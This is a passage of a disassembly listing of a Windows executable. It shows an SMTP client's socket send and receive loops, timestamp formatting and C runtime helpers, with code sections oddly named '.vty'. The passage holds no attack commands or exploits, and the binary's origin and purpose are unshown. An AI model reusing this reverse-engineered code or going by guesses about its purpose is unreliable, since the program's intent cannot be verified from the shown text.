[ebp-0Ch] mov eax, [ebp+8] mov large fs:0, ecx leave retn sub_40D228 endp ; =============== S U B R O U T I N E ======================================= sub_40D2A0 proc near ; CODE XREF: sub_409358+35p mov eax, offset loc_41AF5A call sub_41AE44 sub esp, 44h push esi mov esi, [ebp+8] and dword ptr [ebp-10h], 0 push edi call sub_4012E2 and dword ptr [ebp-4], 0 push 40h lea eax, [ebp-50h] push eax push offset aDddDdMmmYyyy ; "ddd',' dd MMM yyyy " push dword ptr [ebp+0Ch] mov edi, 409h push 0 push edi mov dword ptr [ebp-10h], 1 call dword_41C0E4 ; GetDateFormatA lea eax, [ebp-50h] push eax mov ecx, esi call sub_4013A7 push 40h lea eax, [ebp-50h] push eax push offset aHhMmSs ; "HH':'mm':'ss " push dword ptr [ebp+0Ch] push 0 push edi call dword_41C0E0 ; GetTimeFormatA lea eax, [ebp-50h] push eax push esi call sub_401C66 mov eax, [ebp+10h] push 3Ch cdq pop ecx idiv ecx push edx call sub_4103BA push eax mov eax, [ebp+10h] push 0FFFFFFC4h pop ecx cdq idiv ecx push eax push offset a02_2d02d ; "%+02.2d%02d" lea eax, [ebp-50h] push 40h push eax call sub_40D9FB add esp, 18h lea eax, [ebp-50h] push eax push esi call sub_401C66 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn sub_40D2A0 endp ; =============== S U B R O U T I N E ======================================= sub_40D355 proc near ; CODE XREF: sub_40CCCC+11Fp ; sub_40CDF4+9Ap ... mov eax, offset loc_41B0FB call sub_41AE44 sub esp, 34h push ebx push esi push edi push 0 lea ecx, [ebp-3Ch] mov dword ptr [ebp-24h], 0Fh call sub_401564 and dword ptr [ebp-4], 0 mov ebx, [ebp+8] add ebx, 4 mov [ebp-1Ch], ebx mov ecx, ebx loc_40D385: ; CODE XREF: sub_40D355+C0j push offset dword_41E020 call sub_4013A7 loc_40D38F: ; CODE XREF: sub_40D355+C9j ; sub_40D355+DAj ... mov esi, [ebp+8] mov dword ptr [ebp-10h], 1 xor edi, edi loc_40D39B: ; CODE XREF: sub_40D355+89j push 0 push dword ptr [ebp-10h] lea eax, [ebp+edi-18h] push eax push dword ptr [esi] call dword_41C1E0 ; recv test eax, eax jz loc_40D44B jg short loc_40D3D5 call dword_41C210 ; WSAGetLastError cmp eax, 2733h jnz loc_40D44B call sub_40D599 test eax, eax jz short loc_40D44B jl short loc_40D44B xor eax, eax loc_40D3D5: ; CODE XREF: sub_40D355+60j sub [ebp-10h], eax add edi, eax cmp dword ptr [ebp-10h], 0 jg short loc_40D39B cmp byte ptr [ebp-18h], 0Ah jnz short loc_40D41A cmp dword ptr [ebp-28h], 4 jb loc_40D487 push 3 pop edi lea eax, [ebp-3Ch] call sub_4012F5 cmp byte ptr [eax], 2Dh jnz loc_40D487 push 0FFFFFFFFh push 0 lea eax, [ebp-3Ch] mov esi, ebx call sub_401F95 lea ecx, [ebp-3Ch] jmp loc_40D385 ; --------------------------------------------------------------------------- loc_40D41A: ; CODE XREF: sub_40D355+8Fj cmp byte ptr [ebp-18h], 0Dh jz loc_40D38F mov eax, [esi+18h] add eax, [ebp-28h] cmp eax, 4000h jnb loc_40D38F push dword ptr [ebp-18h] xor ebx, ebx inc ebx lea esi, [ebp-3Ch] call sub_40140F mov ebx, [ebp-1Ch] jmp loc_40D38F ; --------------------------------------------------------------------------- loc_40D44B: ; CODE XREF: sub_40D355+5Aj ; sub_40D355+6Dj ... push offset aSmtpclientRecv ; "SmtpClient::recvResponse: connection br"... call sub_4024A7 push eax push 3 pop ecx call sub_40195C pop ecx pop ecx call sub_40CC9C push 0FFFFFFFEh pop esi loc_40D468: ; CODE XREF: sub_40D355+1BEj ; sub_40D355+1E9j push 0 push 1 lea ecx, [ebp-3Ch] call sub_4013C4 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40D487: ; CODE XREF: sub_40D355+95j ; sub_40D355+A9j mov eax, esi cmp dword ptr [eax+18h], 0 jz short loc_40D4B7 xor edi, edi mov eax, ebx call sub_4012F5 cmp byte ptr [eax], 0Dh jnz short loc_40D4B7 lea eax, [ebp-20h] mov ecx, ebx call sub_405472 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp-14h] push eax mov eax, ebx call sub_40D543 loc_40D4B7: ; CODE XREF: sub_40D355+138j ; sub_40D355+146j mov eax, esi cmp dword ptr [eax+18h], 0 jz short loc_40D4E7 xor edi, edi mov eax, ebx call sub_4012F5 cmp byte ptr [eax], 0Ah jnz short loc_40D4E7 lea eax, [ebp-20h] mov ecx, ebx call sub_405472 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp-14h] push eax mov eax, ebx call sub_40D543 loc_40D4E7: ; CODE XREF: sub_40D355+168j ; sub_40D355+176j push 0FFFFFFFFh push 0 lea eax, [ebp-3Ch] mov esi, ebx call sub_401F95 cmp dword ptr [ebx+18h], 10h jb short loc_40D500 mov eax, [ebx+4] jmp short loc_40D503 ; --------------------------------------------------------------------------- loc_40D500: ; CODE XREF: sub_40D355+1A4j lea eax, [ebx+4] loc_40D503: ; CODE XREF: sub_40D355+1A9j push eax call sub_410040 pop ecx mov esi, eax call sub_40D211 test al, al jnz loc_40D468 cmp dword ptr [ebx+18h], 10h jb short loc_40D524 mov ebx, [ebx+4] jmp short loc_40D527 ; --------------------------------------------------------------------------- loc_40D524: ; CODE XREF: sub_40D355+1C8j add ebx, 4 loc_40D527: ; CODE XREF: sub_40D355+1CDj push ebx push offset aS ; "%s\n" call sub_4024A7 push eax push 3 pop ecx call sub_40195C add esp, 0Ch jmp loc_40D468 sub_40D355 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D543 proc near ; CODE XREF: sub_40D355+15Dp ; sub_40D355+18Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, eax push edi lea eax, [ebp+var_C] mov ecx, esi call sub_405472 push dword ptr [eax+4] push dword ptr [eax] push [ebp+arg_8] push [ebp+arg_4] call sub_405E8F add esp, 10h mov edi, eax push 1 push edi mov ecx, esi call sub_4014F5 cmp dword ptr [esi+18h], 10h jb short loc_40D582 mov eax, [esi+4] jmp short loc_40D585 ; --------------------------------------------------------------------------- loc_40D582: ; CODE XREF: sub_40D543+38j lea eax, [esi+4] loc_40D585: ; CODE XREF: sub_40D543+3Dj lea ebx, [eax+edi] mov edi, [ebp+arg_0] call sub_405E52 mov eax, edi pop edi pop esi pop ebx leave retn 0Ch sub_40D543 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D599 proc near ; CODE XREF: sub_40D355+73p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 210h mov eax, [esi] and [ebp+var_4], 0 xor ecx, ecx inc ecx mov [ebp+var_210], ecx mov [ebp+var_10C], ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_10C] push ecx push 0 lea ecx, [ebp+var_210] mov [ebp+var_20C], eax mov [ebp+var_108], eax push ecx inc eax push eax mov [ebp+var_8], 1Eh call dword_41C214 ; select test eax, eax jle short locret_40D600 lea eax, [ebp+var_10C] push eax push dword ptr [esi] call sub_40D77E ; __WSAFDIsSet neg eax sbb eax, eax and eax, 0FFFFFFFEh inc eax locret_40D600: ; CODE XREF: sub_40D599+4Fj leave retn sub_40D599 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D602 proc near ; CODE XREF: sub_40CCCC+E2p ; sub_40D66E+34p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 mov ecx, [esi] xor edx, edx inc edx mov [ebp+var_8], eax inc eax neg eax sbb eax, eax mov [ebp+var_210], edx mov [ebp+var_10C], edx lea edx, [ebp+var_8] and eax, edx push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_210] push eax mov [ebp+var_20C], ecx mov [ebp+var_108], ecx push 0 inc ecx push ecx call dword_41C214 ; select test eax, eax jle short locret_40D66C lea eax, [ebp+var_10C] push eax push dword ptr [esi] call sub_40D77E ; __WSAFDIsSet neg eax sbb eax, eax and eax, 0FFFFFFFEh inc eax locret_40D66C: ; CODE XREF: sub_40D602+52j leave retn sub_40D602 endp ; =============== S U B R O U T I N E ======================================= sub_40D66E proc near ; CODE XREF: sub_40CDF4+56p ; sub_40CE97+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, eax mov esi, ecx xor edi, edi jmp short loc_40D6B3 ; --------------------------------------------------------------------------- loc_40D679: ; CODE XREF: sub_40D66E+47j mov eax, [esp+0Ch+arg_0] push 0 push ebx add eax, edi push eax push dword ptr [esi] call dword_41C1F0 ; send test eax, eax jz short loc_40D6BF jg short loc_40D6AF call dword_41C210 ; WSAGetLastError cmp eax, 2733h jnz short loc_40D6BF mov eax, [esp+0Ch+arg_4] call sub_40D602 test eax, eax jz short loc_40D6C4 jl short loc_40D6BF xor eax, eax loc_40D6AF: ; CODE XREF: sub_40D66E+21j add edi, eax sub ebx, eax loc_40D6B3: ; CODE XREF: sub_40D66E+9j test ebx, ebx jg short loc_40D679 xor eax, eax loc_40D6B9: ; CODE XREF: sub_40D66E+54j ; sub_40D66E+59j pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40D6BF: ; CODE XREF: sub_40D66E+1Fj ; sub_40D66E+2Ej ... or eax, 0FFFFFFFFh jmp short loc_40D6B9 ; --------------------------------------------------------------------------- loc_40D6C4: ; CODE XREF: sub_40D66E+3Bj xor eax, eax inc eax jmp short loc_40D6B9 sub_40D66E endp ; =============== S U B R O U T I N E ======================================= sub_40D6C9 proc near ; CODE XREF: sub_40D748+15p mov al, [edi+4] test al, al jnz short loc_40D745 push ebx push ebp push esi loc_40D6D3: ; CODE XREF: sub_40D6C9+77j mov esi, [edi] call sub_4026D0 mov esi, eax mov eax, [esi] mov ecx, esi call dword ptr [eax+4] mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax] mov esi, [edi] lea ebx, [esi+108h] push ebx call dword_41C070 ; RtlEnterCriticalSection lea eax, [esi+0DCh] dec dword ptr [eax] mov ebp, [eax] lea eax, [esi+0E0h] call sub_4058DF cmp ebp, eax jnb short loc_40D734 cmp dword ptr [esi+100h], 0 jnz short loc_40D734 cmp dword ptr [esi+0B4h], 0C8h jnb short loc_40D734 push dword ptr [esi+0D8h] call dword_41C088 ; SetEvent loc_40D734: ; CODE XREF: sub_40D6C9+48j ; sub_40D6C9+51j ... push ebx call dword_41C06C ; RtlLeaveCriticalSection mov al, [edi+4] test al, al jz short loc_40D6D3 pop esi pop ebp pop ebx loc_40D745: ; CODE XREF: sub_40D6C9+5j xor eax, eax retn sub_40D6C9 endp ; =============== S U B R O U T I N E ======================================= sub_40D748 proc near ; DATA XREF: sub_4033DA+C5o arg_0 = dword ptr 4 push esi push edi push 0 call sub_40FDF8 push eax call sub_40FA79 mov edi, [esp+10h+arg_0] pop ecx pop ecx call sub_40D6C9 push edi mov esi, eax call sub_40DD8A pop ecx pop edi mov eax, esi pop esi retn 4 sub_40D748 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D772 proc near ; CODE XREF: sub_402F64+ECp ; sub_403A28+6Ap ... jmp dword_41C020 sub_40D772 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D778 proc near ; CODE XREF: sub_402F64+152p ; sub_403A28+FDp ... jmp dword_41C01C sub_40D778 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D77E proc near ; CODE XREF: sub_40D599+5Ap ; sub_40D602+5Dp jmp dword_41C20C sub_40D77E endp ; =============== S U B R O U T I N E ======================================= sub_40D784 proc near ; CODE XREF: sub_40140F+Ap ; sub_401580+Dp ... push 44h mov eax, offset loc_41AE6B call sub_410BDC push offset aStringTooLong ; "string too long" lea ecx, [ebp-28h] call sub_401C44 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401869 push offset dword_41FEF8 lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_41C2A8 call sub_4107BC int 3 ; Trap to Debugger sub_40D784 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D7C3 proc near ; CODE XREF: sub_401315+13p ; sub_4014F5+Fp ... push 44h mov eax, offset loc_41AE6B call sub_410BDC push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-28h] call sub_401C44 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401869 push offset dword_41FF68 lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_41C2B4 call sub_4107BC int 3 ; Trap to Debugger sub_40D7C3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D802 proc near ; CODE XREF: sub_40BB2D+11Ap jmp sub_40DE68 sub_40D802 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D807 proc near ; CODE XREF: sub_401049+Fp ; sub_406253+14Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_C] push esi push edi xor edi, edi cmp eax, edi jz short loc_40D85C cmp [ebp+arg_0], edi jnz short loc_40D835 loc_40D81A: ; CODE XREF: sub_40D807+31j call sub_40F79E push 16h pop esi mov [eax], esi loc_40D824: ; CODE XREF: sub_40D807+44j push edi push edi push edi push edi push edi call sub_40DCD8 add esp, 14h mov eax, esi jmp short loc_40D85E ; --------------------------------------------------------------------------- loc_40D835: ; CODE XREF: sub_40D807+11j cmp [ebp+arg_8], edi jz short loc_40D81A cmp [ebp+arg_4], eax jnb short loc_40D84D call sub_40F79E push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_40D824 ; --------------------------------------------------------------------------- loc_40D84D: ; CODE XREF: sub_40D807+36j push eax push [ebp+arg_8] push [ebp+arg_0] call sub_410C50 add esp, 0Ch loc_40D85C: ; CODE XREF: sub_40D807+Cj xor eax, eax loc_40D85E: ; CODE XREF: sub_40D807+2Cj pop edi pop esi pop ebp retn sub_40D807 endp ; =============== S U B R O U T I N E ======================================= sub_40D862 proc near ; CODE XREF: sub_401869+11p mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax+8], 0 mov dword ptr [eax], offset off_41C2E8 retn sub_40D862 endp ; =============== S U B R O U T I N E ======================================= sub_40D873 proc near ; CODE XREF: sub_401806+2Fp ; sub_405F1C+2Fp ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, ecx mov dword ptr [edi], offset off_41C2E8 mov eax, [ebx] test eax, eax jz short loc_40D8AE push eax call sub_40D970 mov esi, eax inc esi push esi call sub_411069 test eax, eax pop ecx pop ecx mov [edi+4], eax jz short loc_40D8B2 push dword ptr [ebx] push esi push eax call sub_410FB5 add esp, 0Ch jmp short loc_40D8B2 ; --------------------------------------------------------------------------- loc_40D8AE: ; CODE XREF: sub_40D873+13j and dword ptr [edi+4], 0 loc_40D8B2: ; CODE XREF: sub_40D873+2Bj ; sub_40D873+39j mov dword ptr [edi+8], 1 mov eax, edi pop edi pop esi pop ebx retn 4 sub_40D873 endp ; =============== S U B R O U T I N E ======================================= sub_40D8C1 proc near ; CODE XREF: sub_40DE4F+Ap arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dword ptr [eax], offset off_41C2E8 mov ecx, [ecx] and dword ptr [eax+8], 0 mov [eax+4], ecx retn 8 sub_40D8C1 endp ; =============== S U B R O U T I N E ======================================= sub_40D8D9 proc near ; CODE XREF: sub_401806+51p ; sub_401919+16p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx mov dword ptr [esi], offset off_41C2E8 mov eax, [ebx+8] mov [esi+8], eax test eax, eax mov eax, [ebx+4] push edi jz short loc_40D926 test eax, eax jz short loc_40D920 push eax call sub_40D970 mov edi, eax inc edi push edi call sub_411069 test eax, eax pop ecx pop ecx mov [esi+4], eax jz short loc_40D929 push dword ptr [ebx+4] push edi push eax call sub_410FB5 add esp, 0Ch jmp short loc_40D929 ; --------------------------------------------------------------------------- loc_40D920: ; CODE XREF: sub_40D8D9+1Ej and dword ptr [esi+4], 0 jmp short loc_40D929 ; --------------------------------------------------------------------------- loc_40D926: ; CODE XREF: sub_40D8D9+1Aj mov [esi+4], eax loc_40D929: ; CODE XREF: sub_40D8D9+36j ; sub_40D8D9+45j ... pop edi mov eax, esi pop esi pop ebx retn 4 sub_40D8D9 endp ; =============== S U B R O U T I N E ======================================= sub_40D931 proc near ; CODE XREF: .vty:00401006j ; .vty:00401014p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_41C2E8 jz short locret_40D946 push dword ptr [ecx+4] call sub_41112C pop ecx locret_40D946: ; CODE XREF: sub_40D931+Aj retn sub_40D931 endp ; =============== S U B R O U T I N E ======================================= sub_40D947 proc near ; DATA XREF: .vty:0041C294o ; .vty:0041C2ECo ... mov eax, [ecx+4] test eax, eax jnz short locret_40D953 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_40D953: ; CODE XREF: sub_40D947+5j retn sub_40D947 endp ; --------------------------------------------------------------------------- loc_40D954: ; DATA XREF: .vty:off_41C2E8o push esi mov esi, ecx call sub_40D931 test byte ptr [esp+8], 1 jz short loc_40D96A push esi call sub_40DD8A pop ecx loc_40D96A: ; CODE XREF: .vty:0040D961j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_40D970 proc near ; CODE XREF: sub_401065+5Fp ; sub_4013A7+7p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_40D9A0 loc_40D97C: ; CODE XREF: sub_40D970+1Bj mov al, [ecx] add ecx, 1 test al, al jz short loc_40D9D3 test ecx, 3 jnz short loc_40D97C add eax, 0 lea esp, [esp+0] lea esp, [esp+0] loc_40D9A0: ; CODE XREF: sub_40D970+Aj ; sub_40D970+46j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40D9A0 mov eax, [ecx-4] test al, al jz short loc_40D9F1 test ah, ah jz short loc_40D9E7 test eax, 0FF0000h jz short loc_40D9DD test eax, 0FF000000h jz short loc_40D9D3 jmp short loc_40D9A0 ; --------------------------------------------------------------------------- loc_40D9D3: ; CODE XREF: sub_40D970+13j ; sub_40D970+5Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40D9DD: ; CODE XREF: sub_40D970+58j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40D9E7: ; CODE XREF: sub_40D970+51j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40D9F1: ; CODE XREF: sub_40D970+4Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_40D970 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9FB proc near ; CODE XREF: sub_401156+168p ; sub_402F64+6Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx xor ebx, ebx cmp [ebp+arg_8], ebx jnz short loc_40DA26 call sub_40F79E push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40DAA5 ; --------------------------------------------------------------------------- loc_40DA26: ; CODE XREF: sub_40D9FB+Cj mov ecx, [ebp+arg_4] cmp ecx, ebx push esi mov esi, [ebp+arg_0] jz short loc_40DA52 cmp esi, ebx jnz short loc_40DA52 call sub_40F79E push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40DAA4 ; --------------------------------------------------------------------------- loc_40DA52: ; CODE XREF: sub_40D9FB+34j ; sub_40D9FB+38j mov eax, 7FFFFFFFh cmp ecx, eax mov [ebp+var_1C], eax ja short loc_40DA61 mov [ebp+var_1C], ecx loc_40DA61: ; CODE XREF: sub_40D9FB+61j push edi lea eax, [ebp+arg_C] push eax push ebx push [ebp+arg_8] lea eax, [ebp+var_20] push eax mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_4113BB add esp, 10h cmp esi, ebx mov edi, eax jz short loc_40DAA3 dec [ebp+var_1C] js short loc_40DA95 mov eax, [ebp+var_20] mov [eax], bl jmp short loc_40DAA1 ; --------------------------------------------------------------------------- loc_40DA95: ; CODE XREF: sub_40D9FB+91j lea eax, [ebp+var_20] push eax push ebx call sub_4111BA pop ecx pop ecx loc_40DAA1: ; CODE XREF: sub_40D9FB+98j mov eax, edi loc_40DAA3: ; CODE XREF: sub_40D9FB+8Cj pop edi loc_40DAA4: ; CODE XREF: sub_40D9FB+55j pop esi loc_40DAA5: ; CODE XREF: sub_40D9FB+29j pop ebx leave retn sub_40D9FB endp ; =============== S U B R O U T I N E ======================================= sub_40DAA8 proc near ; CODE XREF: sub_40DB84+18p var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi push dword_426018 call sub_411DBF push dword_426014 mov esi, eax mov [esp+1Ch+var_4], esi call sub_411DBF mov edi, eax cmp edi, esi pop ecx pop ecx jb short loc_40DB4D mov ebx, edi sub ebx, esi lea ebp, [ebx+4] cmp ebp, 4 jb short loc_40DB4D push esi call sub_4123F6 mov esi, eax cmp esi, ebp pop ecx jnb short loc_40DB34 mov eax, 800h cmp esi, eax jnb short loc_40DAF5 mov eax, esi loc_40DAF5: ; CODE XREF: sub_40DAA8+49j add eax, esi cmp eax, esi jb short loc_40DB0B push eax push [esp+18h+var_4] call sub_4123AB test eax, eax pop ecx pop ecx jnz short loc_40DB22 loc_40DB0B: ; CODE XREF: sub_40DAA8+51j lea eax, [esi+10h] cmp eax, esi jb short loc_40DB4D push eax push [esp+18h+var_4] call sub_4123AB test eax, eax pop ecx pop ecx jz short loc_40DB4D loc_40DB22: ; CODE XREF: sub_40DAA8+61j sar ebx, 2 push eax lea edi, [eax+ebx*4] call sub_411D53 pop ecx mov dword_426018, eax loc_40DB34: ; CODE XREF: sub_40DAA8+40j mov esi, [esp+14h+arg_0] mov [edi], esi add edi, 4 push edi call sub_411D53 mov dword_426014, eax pop ecx mov eax, esi jmp short loc_40DB4F ; --------------------------------------------------------------------------- loc_40DB4D: ; CODE XREF: sub_40DAA8+27j ; sub_40DAA8+33j ... xor eax, eax loc_40DB4F: ; CODE XREF: sub_40DAA8+A3j pop edi pop esi pop ebp pop ebx pop ecx retn sub_40DAA8 endp ; =============== S U B R O U T I N E ======================================= sub_40DB55 proc near ; DATA XREF: .vty:0041C22Co push esi push 4 push 20h call sub_412363 mov esi, eax push esi call sub_411D53 add esp, 0Ch test esi, esi mov dword_426018, eax mov dword_426014, eax jnz short loc_40DB7D push 18h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_40DB7D: ; CODE XREF: sub_40DB55+21j and dword ptr [esi], 0 xor eax, eax pop esi retn sub_40DB55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB84 proc near ; CODE XREF: sub_40DBC0+4p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_41F880 call __SEH_prolog4 call sub_4124F8 and [ebp+ms_exc.disabled], 0 push [ebp+arg_0] call sub_40DAA8 pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40DBBA mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_40DB84 endp ; =============== S U B R O U T I N E ======================================= sub_40DBBA proc near ; CODE XREF: sub_40DB84+28p ; DATA XREF: .vty:0041F898o call sub_412501 retn sub_40DBBA endp ; =============== S U B R O U T I N E ======================================= sub_40DBC0 proc near ; CODE XREF: sub_401156+39p ; sub_4024A7+4Cp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_40DB84 neg eax sbb eax, eax neg eax pop ecx dec eax retn sub_40DBC0 endp ; =============== S U B R O U T I N E ======================================= sub_40DBD2 proc near ; CODE XREF: sub_412755+15p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_424380, eax retn sub_40DBD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=2A8h sub_40DBDC proc near ; CODE XREF: sub_40DCD8+1Fj ; sub_40F6FC+59p ... var_328 = dword ptr -328h var_31C = dword ptr -31Ch var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_244 = word ptr -244h var_240 = word ptr -240h var_23C = word ptr -23Ch var_238 = word ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = word ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = word ptr -208h var_4 = dword ptr -4 push ebp lea ebp, [esp-2A8h] sub esp, 328h mov eax, dword_4231C4 xor eax, ebp mov [ebp+2A8h+var_4], eax push esi mov [ebp+2A8h+var_220], eax mov [ebp+2A8h+var_224], ecx mov [ebp+2A8h+var_228], edx mov [ebp+2A8h+var_22C], ebx mov [ebp+2A8h+var_230], esi mov [ebp+2A8h+var_234], edi mov [ebp+2A8h+var_208], ss mov [ebp+2A8h+var_214], cs mov [ebp+2A8h+var_238], ds mov [ebp+2A8h+var_23C], es mov [ebp+2A8h+var_240], fs mov [ebp+2A8h+var_244], gs pushf pop [ebp+2A8h+var_210] mov esi, [ebp+2ACh] lea eax, [ebp+2ACh] mov [ebp+2A8h+var_20C], eax mov [ebp+2A8h+var_2D0], 10001h mov [ebp+2A8h+var_218], esi mov eax, [eax-4] push 50h mov [ebp+2A8h+var_21C], eax lea eax, [ebp+2A8h+var_328] push 0 push eax call sub_40DD10 lea eax, [ebp+2A8h+var_328] mov [ebp+2A8h+var_2D8], eax lea eax, [ebp+2A8h+var_2D0] add esp, 0Ch mov [ebp+2A8h+var_328], 0C000000Dh mov [ebp+2A8h+var_31C], esi mov [ebp+2A8h+var_2D4], eax call dword_41C114 ; IsDebuggerPresent push 0 mov esi, eax call dword_41C110 ; SetUnhandledExceptionFilter lea eax, [ebp+2A8h+var_2D8] push eax call dword_41C10C ; UnhandledExceptionFilter test eax, eax jnz short loc_40DCB0 test esi, esi jnz short loc_40DCB0 push 2 call sub_412996 pop ecx loc_40DCB0: ; CODE XREF: sub_40DBDC+C6j ; sub_40DBDC+CAj push 0C000000Dh call dword_41C108 ; GetCurrentProcess push eax call dword_41C104 ; TerminateProcess mov ecx, [ebp+2A8h+var_4] xor ecx, ebp pop esi call sub_410BCD add ebp, 2A8h leave retn sub_40DBDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCD8 proc near ; CODE XREF: sub_40D807+22p ; sub_40D9FB+1Ep ... push ebp mov ebp, esp push dword_424380 call sub_411DBF test eax, eax pop ecx jz short loc_40DCEE pop ebp jmp eax ; --------------------------------------------------------------------------- loc_40DCEE: ; CODE XREF: sub_40DCD8+11j push 2 call sub_412996 pop ecx pop ebp jmp sub_40DBDC sub_40DCD8 endp ; =============== S U B R O U T I N E ======================================= sub_40DCFC proc near ; CODE XREF: sub_4012F5+8p ; sub_401B38:loc_401B81p ... xor eax, eax push eax push eax push eax push eax push eax call sub_40DCD8 add esp, 14h retn sub_40DCFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40DD10 proc near ; CODE XREF: sub_40140F+5Ep ; sub_40460B+12Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_40DD85 xor eax, eax mov al, [esp+arg_4] test al, al jnz short loc_40DD3C cmp edx, 100h jb short loc_40DD3C cmp dword_426008, 0 jz short loc_40DD3C jmp sub_4129F5 ; --------------------------------------------------------------------------- loc_40DD3C: ; CODE XREF: sub_40DD10+14j ; sub_40DD10+1Cj ... push edi mov edi, ecx cmp edx, 4 jb short loc_40DD75 neg ecx and ecx, 3 jz short loc_40DD57 sub edx, ecx loc_40DD4D: ; CODE XREF: sub_40DD10+45j mov [edi], al add edi, 1 sub ecx, 1 jnz short loc_40DD4D loc_40DD57: ; CODE XREF: sub_40DD10+39j mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_40DD75 rep stosd test edx, edx jz short loc_40DD7F loc_40DD75: ; CODE XREF: sub_40DD10+32j ; sub_40DD10+5Dj ... mov [edi], al add edi, 1 sub edx, 1 jnz short loc_40DD75 loc_40DD7F: ; CODE XREF: 